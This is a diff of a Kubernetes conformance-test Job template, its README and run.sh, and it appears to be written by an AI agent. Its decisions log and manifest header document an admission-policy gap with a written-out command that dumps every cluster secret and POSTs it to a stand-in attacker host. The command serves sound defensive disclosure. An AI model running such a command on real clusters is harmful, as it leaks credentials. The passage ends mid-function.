diff --git a/DECISIONS-LOG.md b/DECISIONS-LOG.md index 588a5f3..fe9a753 100644 --- a/DECISIONS-LOG.md +++ b/DECISIONS-LOG.md @@ -5109,3 +5109,132 @@ next L2/L3 piece on top of unmerged branches would create a rebase tangle for no cannot land any faster. The next piece is specified and ready to start once these are merged: `docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its boundary landed in #13. + +--- + +## 2026-09-29 — The conformance Job can now run a specific commit and get its results out. **And the policy meant to bound it ignores `initContainers`.** + +Branch `feat/conformance-job-template`. Closes `docs/plans/l2-l3-conformance-ci-wiring.md` +§3 items **2** (repo at the commit under test) and **3** (results collection with no exec +channel). `chainsaw-job.yaml` was a skeleton whose `workspace` was an empty `emptyDir` with +nothing to fill it; it is now a renderable run template. + +### The binding constraint, and how it was met + +`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: +Fail`) admits **only `workspace` and `results`** as volume names. So the git credential +could not be a Secret volume and the init container could not have a scratch volume: + +- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly` + (`username`, `token`) — an env var is not a volume. By **name only**; no literal in the + tree. The token reaches `git` through an inline `credential.helper` that reads the + environment, so it never appears in argv (where `ps` and the Pod spec would show it) and + is never written to disk. +- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and + `$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath` + mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner + could not write it. +- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the + clone target, and a directory mounted into it makes the target non-empty, so `git clone` + refuses. Hence `CONF_ARTIFACTS=/results` (new, honoured only when set). + +**Admission proven, not assumed** — rendered template through the pinned CLI (kyverno +v1.19.0, in the toolbox): + + kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \ + --resource --userinfo .../user-info.yaml + Applying 3 policy rule(s) to 1 resource(s)... + pass: 3, fail: 0, warn: 0, error: 0, skip: 0 + +with negative controls on the **same** rendered template to show the rules actually bite: +adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping +`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at +`/spec/template/spec/containers/0/command/`. That shape is now a fixture +(`real-template` in `platform/kyverno/tests/conformance-trigger/resources.yaml`), so a +template that drifts out of admission fails `make -C ci l0` instead of failing at 2am. + +### ⚠ THE FINDING: the admission boundary does not look at `initContainers` + +Measured, same CLI, same rendered template — **only** the init container's `args` replaced +with `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`, +`containers[0]` left fully compliant: + + pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED + +All three rules read `spec.template.spec.containers` (rule 1's pattern, rule 3's +`containers[0].args`) or `volumes` (rule 2). **`initContainers` is never examined.** So the +precise escalation the policy exists to stop — the privileged `conformance-runner` SA +running an arbitrary command because Kubernetes places no `use` check on +`serviceAccountName` — is still reachable, one field over. This predates today's work: the +gap was there when the policy shipped in PR #13, and a Job with no init container at all +could already have carried one. + +**Not fixed here, deliberately.** A security boundary changes in its own reviewed PR, not +smuggled in beside the Job that has to satisfy it. Recommended follow-up, in order: + +1. Bake the clone script into the runner image at a fixed path, drop the init container's + `args`, and add a 4th rule pinning `initContainers` to one container on the same + digest-pinned image with `command: ["/usr/local/bin/conformance-clone"]` and no args. + Then no caller-supplied code runs in an init container at all. +2. Weaker fallback: deny any `initContainers` entry whose image is not the pinned runner + image. + +Also worth knowing: **`kyverno apply` evaluates these rules with or without `--userinfo`** — +the extra-volume control fails either way. A CLI pass is evidence about the *patterns*, not +about the `subjects` filter. The claim in `kyverno-test.yaml`'s header that userinfo is what +makes the cases non-trivial holds for `kyverno test`, not for `kyverno apply`. + +### Results out of the Job with no exec channel + +The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins +`command` to exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts +afterwards. `run.sh` therefore does it itself, on an **EXIT trap** (a failed run still ships +its red JUnit — that is the evidence the gate most needs), armed only by +`CONF_EMIT_ARTIFACTS_TGZ=1`: + + === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc= bytes= lines= sha256= === + + === ARTIFACTS-TGZ-BASE64 END v1 rc= bytes= lines= sha256= === + +`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64 +decodes a truncated stream to plausible garbage without complaint. So size, base64 line +count and digest appear in **both** markers and the collector owes five checks, each +documented above the function. **Verified locally, not asserted:** full decode round-trips +to a valid tar; tail-truncation and head-truncation fail check 1; a dropped interior line +fails check 3; one corrupted character fails check 5. Exit-code preservation through the +trap was tested for 0, an explicit `exit 3`, and a `set -e` abort — the envelope's `rc=` +matched the process rc in all three. + +### Gate + +Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main +checkout's `.git`, per CLAUDE.md §3): + + lint: green l0: green render-golden: green l1: green + spec-immutability: SKIPPED (sibling spec repo absent) + gitea-settings: SKIPPED (no SETTINGS_API_TOKEN locally) + conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE unset) + MERGE GATE: UNDETERMINED — rc 3 + +Nothing FAILED. rc 3 is the expected local outcome and `gate.yml` tolerates it. + +### UNVERIFIED — read before believing any of this runs + +- **Nothing here has ever executed.** The `conformance-runner` image does not exist (plan §3 + item 1), so the Job cannot be submitted, and the init container's clone/fetch/assert + sequence, the credential helper and the envelope-over-`kubectl-logs` path are all + **unexercised against a cluster**. The envelope itself is verified; its transport is not. +- Secret `conformance-git-readonly` does not exist (plan §3 item 6, operator). +- `uid 65532` is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it + has not been built. If the Containerfile picks a different uid, the Job will not start. +- Whether Gitea's `uploadpack` accepts `fetch origin ` for a non-tip commit was not + tested; the shallow-clone-then-fetch fallback assumes it does. If it does not, the + `HEAD == SHA` assertion turns that into a loud failure rather than a wrong-tree run. +- `ci/conformance.sh` still runs the suite **locally** and is untouched (plan §3 item 4). + This branch changes nothing about what CI does today. + +### PR + +Opened against `main`, **not merged**. Its CI is **expected to FAIL on `approval-policy`**: +`conformance/**` is security-relevant and needs a human approval. That is the control +working; it was not worked around. diff --git a/conformance/incluster/README.md b/conformance/incluster/README.md index 77e3021..b7ab45a 100644 --- a/conformance/incluster/README.md +++ b/conformance/incluster/README.md @@ -25,20 +25,41 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). commented with the test/requirement that needs it — only as the matching fault-injection test lands. This is a **privileged test identity**: never reused by workloads, its own audit item. -- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to - `--requirements ` (merge gate) or `--layer all --strict-coverage` (phase - exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`. +- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per + run). Single entrypoint `./run.sh`; a git-clone init container delivers the suite at the + commit under test; artifacts leave over stdout. Its header is the authority on the + substitution tokens, the admission constraints it satisfies, and **an open security gap + in the admission policy that it documents and does not exploit** — read it before + editing either file. ## Flow -1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a - trigger with narrow rights: create Job + read its logs/status — *not* a broad - kubeconfig). -2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs - `./run.sh` under `conformance-runner`. -3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` + - `coverage/` to the results volume (`/workspace/conformance/_artifacts`). -4. CI collects those artifacts (results volume or the terminating log stream, which echoes - their paths) and enforces the merge / phase-exit gate on them. +1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the + runner image digest and the commit SHA — replaces `args` with the invocation shape, and + `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get + pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**). +2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce + + fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary. +3. The **init container** shallow-clones the repo into `/workspace/src`, fetches the commit + if the shallow tip does not already contain it, detaches onto it, and **asserts `HEAD` + equals the requested SHA** — the suite runs at the commit under test or not at all. The + read-only Gitea credential reaches `git` as env vars from `secretKeyRef` (secret + `conformance-git-readonly`, keys `username`/`token`), never as a volume: admission allows + no volume but `workspace` and `results`. +4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` + + `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`). +5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to + stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI + decodes it from `kubectl logs` and must make all five completeness checks listed above + `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead + of decoding to plausible garbage. + +## Operator prerequisites (out of GitOps — neither exists yet) +- Secret `conformance-git-readonly` in namespace `conformance`, keys `username` and + `token`: a **read-only** Gitea token for this repository. Never a write token or a + push-capable deploy key. +- The `conformance-runner` image built and pushed (plan §5 step 1); its digest is what the + trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and + a **uid 65532** non-root user, which the Job's `runAsUser`/`fsGroup` pin. ## Phase 0 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux diff --git a/conformance/incluster/chainsaw-job.yaml b/conformance/incluster/chainsaw-job.yaml index 5821d30..5a27dc1 100644 --- a/conformance/incluster/chainsaw-job.yaml +++ b/conformance/incluster/chainsaw-job.yaml @@ -1,23 +1,121 @@ # ============================================================================= -# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14) +# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14) +# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3. # -# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO -# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner` -# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that -# CI collects, and enforces the merge / phase-exit gate on the outcome. +# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a +# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would +# create a permanent Job object and fight the trigger for ownership. # -# Two invocation shapes (CI sets args): -# * MERGE GATE: ./run.sh --requirements (subset) -# * PHASE EXIT: ./run.sh --layer all (full suite) +# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig — +# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log). +# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave +# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel. # -# Results artifact mechanism (delegated to WS-TEST by docs/14 open items): -# Chosen = a shared results emptyDir + a terminating log stream, with an -# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is -# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised -# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the -# results volume (or scrapes the pod log, which echoes their paths). +# ----------------------------------------------------------------------------- +# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY +# ----------------------------------------------------------------------------- +# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce + +# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits +# ONLY: exactly one container on a digest-pinned conformance-runner image, +# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from +# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no +# host namespaces, non-root with privilege escalation off, and — the constraint that +# shapes everything below — NO VOLUMES BUT `workspace` AND `results`. # -# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE. +# So the git credential CANNOT be a projected/secret volume, and the init container +# cannot have a scratch volume of its own. Both are solved inside the two allowed names: +# * the credential arrives as env vars via secretKeyRef (an env var is not a volume), +# BY SECRET NAME ONLY — no token literal ever appears in this file; +# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so +# readOnlyRootFilesystem stays true without a third volume and without subPath +# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable +# by the non-root runner). +# +# Verify before changing anything here: +# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \ +# --resource \ +# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml +# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in +# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission. +# +# ----------------------------------------------------------------------------- +# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !! +# ----------------------------------------------------------------------------- +# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template, +# replace ONLY the init container's `args` with +# kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/ +# and leave `containers[0]` untouched and compliant. Result: +# Applying 3 policy rule(s) to 1 resource(s)... +# pass: 3, fail: 0, warn: 0, error: 0, skip: 0 +# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's +# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never +# examined, so the exact escalation the policy exists to stop — the privileged +# conformance-runner SA executing an arbitrary command — is still reachable, one field +# over. This template's OWN init container does not exploit that; the gap is the policy's, +# and it existed before this file had an init container at all. +# +# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs +# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it. +# FOLLOW-UP, in order of preference: +# 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and +# add a 4th rule pinning `initContainers` to one container on the same digest-pinned +# image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an +# init container carries no caller-supplied code at all and the rule is one pattern. +# 2. Failing that, a rule denying any `initContainers` entry whose image is not the +# pinned runner image — weaker (the script stays caller-supplied) but it at least +# stops an arbitrary image running as conformance-runner. +# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is +# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter. +# +# ----------------------------------------------------------------------------- +# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}` +# ----------------------------------------------------------------------------- +# The placeholder syntax is deliberately NOT shell syntax. The init container below is a +# bash script full of legitimate `${...}` references; running the template through +# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving +# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render +# this". Render with a two-token sed, nothing cleverer: +# +# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \ +# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml +# +# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image. +# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning +# are committed literals, so the substitution cannot repoint the image at another +# repository, and the template still satisfies the policy's image pattern before +# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly. +# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container +# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder +# or an injected value is a hard failure, never a run of the wrong tree. +# +# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the +# trigger REPLACES it wholesale per invocation shape — +# MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo", +# "--requirements", ""] +# PHASE EXIT: ["--layer", "all", "--strict-coverage"] +# Keeping it a committed list (not a substituted scalar) is what lets this file be handed +# to `kyverno apply` as-is. +# +# ----------------------------------------------------------------------------- +# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable +# ----------------------------------------------------------------------------- +# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the +# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when +# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints: +# +# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc= bytes= lines= sha256= === +# +# === ARTIFACTS-TGZ-BASE64 END v1 rc= bytes= lines= sha256= === +# +# The BEGIN and END headers are byte-identical and both carry the size, the base64 line +# count and the sha256. A collector that checks all four (one BEGIN, one END, headers +# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a +# complete artifact set — which a bare blob would, because base64 decodes a truncated +# stream to plausible garbage without complaint. See the block comment above +# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations. +# +# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the +# transport is the pod's log, so the Job must finish while that log still exists. # ============================================================================= apiVersion: batch/v1 kind: Job @@ -28,7 +126,10 @@ metadata: app.kubernetes.io/part-of: conformance spec: backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry + # A retry would also re-emit the artifact envelope, giving the collector two BEGIN + # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true. ttlSecondsAfterFinished: 3600 + activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate template: metadata: labels: @@ -37,38 +138,159 @@ spec: serviceAccountName: conformance-runner # scoped test identity (rbac.yaml) restartPolicy: Never securityContext: + # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true` + # alone only *rejects* a root image, it does not choose a uid, and the runner image + # is built by a separate task (plan §5 step 1). 65532 is the conventional + # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both + # emptyDirs group-writable for that uid. runAsNonRoot: true + runAsUser: 65532 + runAsGroup: 65532 + fsGroup: 65532 seccompProfile: { type: RuntimeDefault } - containers: - - name: chainsaw - # PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12). - image: ghcr.io/kyverno/chainsaw:v0.2.12 - workingDir: /workspace/conformance - # The suite repo is delivered into /workspace (git clone init-container or - # a Flux-populated volume). run.sh is the single entrypoint (identical to local). - command: ["./run.sh"] - # CI overrides args per invocation shape: - # ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR - # ["--layer", "all", "--strict-coverage"] (phase exit) - args: ["--layer", "all", "--strict-coverage"] + initContainers: + # --------------------------------------------------------------------- + # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace. + # + # The credential is a READ-ONLY Gitea token, referenced by secret name only. It + # reaches git through an inline credential helper that reads the ENVIRONMENT, so + # the token never appears in argv (where `ps` and the Pod spec would show it) and + # is never written to disk. + # + # `--depth 1` clones the default branch; the commit under test is usually its tip + # but must not be ASSUMED to be (the branch can advance between trigger and run, + # and a PR head is not the default branch at all). So: clone shallow, and if the + # SHA is not already present, fetch that one commit, then detach onto it and + # ASSERT HEAD equals it. The suite runs at the commit under test or not at all. + # --------------------------------------------------------------------- + - name: clone-suite-at-commit + image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ + command: ["/bin/bash", "-c"] + args: + - | + set -euo pipefail + + # A bad SHA must never degrade into "ran whatever the branch tip was". + if ! printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$'; then + echo "FATAL: CONFORMANCE_GIT_SHA is not a 40-hex commit id." >&2 + echo " The CI trigger did not substitute it, or substituted junk." >&2 + exit 1 + fi + + mkdir -p "${TMPDIR}" "${HOME}" + + # git's shell credential helper: invoked as `sh -c ' get'`, so it + # reads $1 and answers from the environment only. + CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f' + + echo "==> shallow clone ${CONFORMANCE_REPO_URL}" + git -c credential.helper="${CRED}" \ + clone --depth 1 --no-tags --single-branch \ + "${CONFORMANCE_REPO_URL}" "${CONFORMANCE_SRC}" + + if ! git -C "${CONFORMANCE_SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then + echo "==> ${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit" + git -C "${CONFORMANCE_SRC}" -c credential.helper="${CRED}" \ + fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}" + fi + + git -C "${CONFORMANCE_SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}" + + head="$(git -C "${CONFORMANCE_SRC}" rev-parse HEAD)" + if [ "${head}" != "${CONFORMANCE_GIT_SHA}" ]; then + echo "FATAL: checked out ${head}, expected ${CONFORMANCE_GIT_SHA}." >&2 + exit 1 + fi + + test -x "${CONFORMANCE_SRC}/conformance/run.sh" \ + || { echo "FATAL: no executable conformance/run.sh at ${head}." >&2; exit 1; } + + echo "==> suite ready at ${head}" env: - - name: CONF_ROOT - value: /workspace/conformance + # The repository under test is a committed literal, not a substitution: a + # template that lets the trigger choose the clone URL lets it choose the code. + - name: CONFORMANCE_REPO_URL + value: https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git + - name: CONFORMANCE_SRC + value: /workspace/src + - name: CONFORMANCE_GIT_SHA + value: "@@CONFORMANCE_GIT_SHA@@" + # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a + # READ-ONLY Gitea token with read access to this one repository — never a write + # token, never a deploy key with push. Keys: `username`, `token`. + # An env var is not a volume, which is how this coexists with the admission + # policy's workspace/results-only rule. + - name: GITEA_USERNAME + valueFrom: + secretKeyRef: { name: conformance-git-readonly, key: username } + - name: GITEA_TOKEN + valueFrom: + secretKeyRef: { name: conformance-git-readonly, key: token } + # Writable scratch + HOME on the workspace emptyDir, so the root filesystem + # stays read-only and no third volume is needed. + - name: TMPDIR + value: /workspace/tmp + - name: HOME + value: /workspace/home volumeMounts: - { name: workspace, mountPath: /workspace } - - { name: results, mountPath: /workspace/conformance/_artifacts } securityContext: allowPrivilegeEscalation: false readOnlyRootFilesystem: true capabilities: { drop: ["ALL"] } runAsNonRoot: true + resources: + requests: { cpu: 100m, memory: 128Mi } + limits: { cpu: "1", memory: 512Mi } + containers: + - name: chainsaw + # Digest-pinned under the conformance repository path — the admission policy + # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION + # (+ kubectl, git, python3, bash); see plan §5 step 1. + image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ + workingDir: /workspace/src/conformance + # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact + # envelope is emitted by run.sh itself rather than by a shell one-liner here. + command: ["./run.sh"] + # Replaced wholesale by the trigger per invocation shape (see the header). + args: ["--layer", "all", "--strict-coverage"] + env: + # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the + # artifact tree onto the `results` volume. It cannot live at its default + # conformance/_artifacts, because a volume mounted inside the clone target + # would make that directory non-empty and `git clone` would refuse it. + - name: CONF_ARTIFACTS + value: /results + # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a + # base64 tar over an operator's terminal. + - name: CONF_EMIT_ARTIFACTS_TGZ + value: "1" + - name: TMPDIR + value: /workspace/tmp + - name: HOME + value: /workspace/home + volumeMounts: + - { name: workspace, mountPath: /workspace } + - { name: results, mountPath: /results } + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: { drop: ["ALL"] } + runAsNonRoot: true + # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and + # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab + # node without starving the suite. + resources: + requests: { cpu: 250m, memory: 512Mi } + limits: { cpu: "2", memory: 2Gi } volumes: - # Suite source: populated by an init-container git clone of the impl repo at - # the commit under test, OR a Flux-synced source volume. (Init container - # omitted from this skeleton; wire in T-6.1b.) + # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third. + # Suite source, written by the init container: /workspace/src is the checkout, + # /workspace/tmp is $TMPDIR, /workspace/home is $HOME. - name: workspace emptyDir: {} - # Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir - # for a results PVC if durability beyond pod lifetime is required. + # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope + # carries; an emptyDir is sufficient because the transport is the log, not the + # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4). - name: results emptyDir: {} diff --git a/conformance/run.sh b/conformance/run.sh index eeb440e..9d8d192 100755 --- a/conformance/run.sh +++ b/conformance/run.sh @@ -60,6 +60,17 @@ # _artifacts/status/status.md human requirement-status report (--status) # _artifacts/status/status.json machine requirement-status report (--status) # +# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml): +# CONF_ARTIFACTS= relocate the artifact tree off the default +# conformance/_artifacts (the Job mounts a `results` +# volume, which cannot sit inside the git-clone target). +# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited, +# checksummed base64 tar of the artifact tree to STDOUT, +# because `kubectl logs` is the only channel CI has out of +# the Job (no pods/exec, no kubectl cp). See the RESULTS +# TRANSPORT block below for the envelope and for the five +# checks a collector MUST make. Never set this locally. +# # Run ledger (TRACKED — commit these; --record only): # runs/-/run.log full tee'd run output (carries the sentinels) # runs/-/report.junit.xml the JUnit for that same run @@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh" # shellcheck source=versions.env source "${CONF_ROOT}/versions.env" -ARTIFACTS="${CONF_ROOT}/_artifacts" +# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see +# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default +# path, because that path is inside the directory the init container `git clone`s into and +# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so +# a local run is byte-identical to what it always was. +ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}" COVERAGE_OUT="${ARTIFACTS}/coverage" STATUS_OUT="${ARTIFACTS}/status" JUNIT_OUT="${ARTIFACTS}/report.junit.xml" @@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then exit "${RUN_RC}" fi +############################################################################### +# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable +# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1. +# +# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds +# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce + +# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the +# suite to package artifacts afterwards. And the trigger identity deliberately holds NO +# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md +# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore +# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still +# ships its JUnit — the red report is the evidence the gate needs most. +# +# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated +# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of +# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip +# may even partially unpack — silent, plausible garbage. So the envelope carries everything +# needed to PROVE completeness, and carries it TWICE: +# +# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc= bytes= lines= sha256= === +# +# === ARTIFACTS-TGZ-BASE64 END v1 rc= bytes= lines= sha256= === +# +# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE — +# never as "no artifacts", never as a pass: +# 1. exactly one BEGIN line and exactly one END line; +# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch +# means two interleaved or re-emitted envelopes in one log; +# 3. the count of body lines between them equals lines=; +# 4. the decoded byte count equals bytes=; +# 5. sha256 of the decoded bytes equals sha256=. +# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails +# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line +# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable, +# which is the whole design requirement. +# +# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it +# against the Job's completion condition instead of trusting either signal alone. +# +# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the +# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific +# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level +# entry changed with the environment would be a trap for the collector. It unpacks the +# contents wherever it likes. +# +# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so +# the collector's check (1) fails and it cannot mistake the run for one with no artifacts. +############################################################################### +CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64" +CONF_ARTIFACT_ENVELOPE_VERSION="v1" + +conf_emit_artifacts_tgz() { + local rc="${1:-0}" + # Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit` + # below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot + # change the run's verdict — nothing here can turn a red run green or a green run red. + trap - EXIT + ( + set +e + local tmp tgz b64 bytes lines sha payload + tmp="${TMPDIR:-/tmp}" + tgz="${tmp}/conformance-artifacts.$$.tgz" + b64="${tgz}.b64" + if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then + printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \ + "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}" + rm -f "${tgz}" + exit 0 + fi + if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then + printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \ + "${CONF_ARTIFACT_MARKER}" 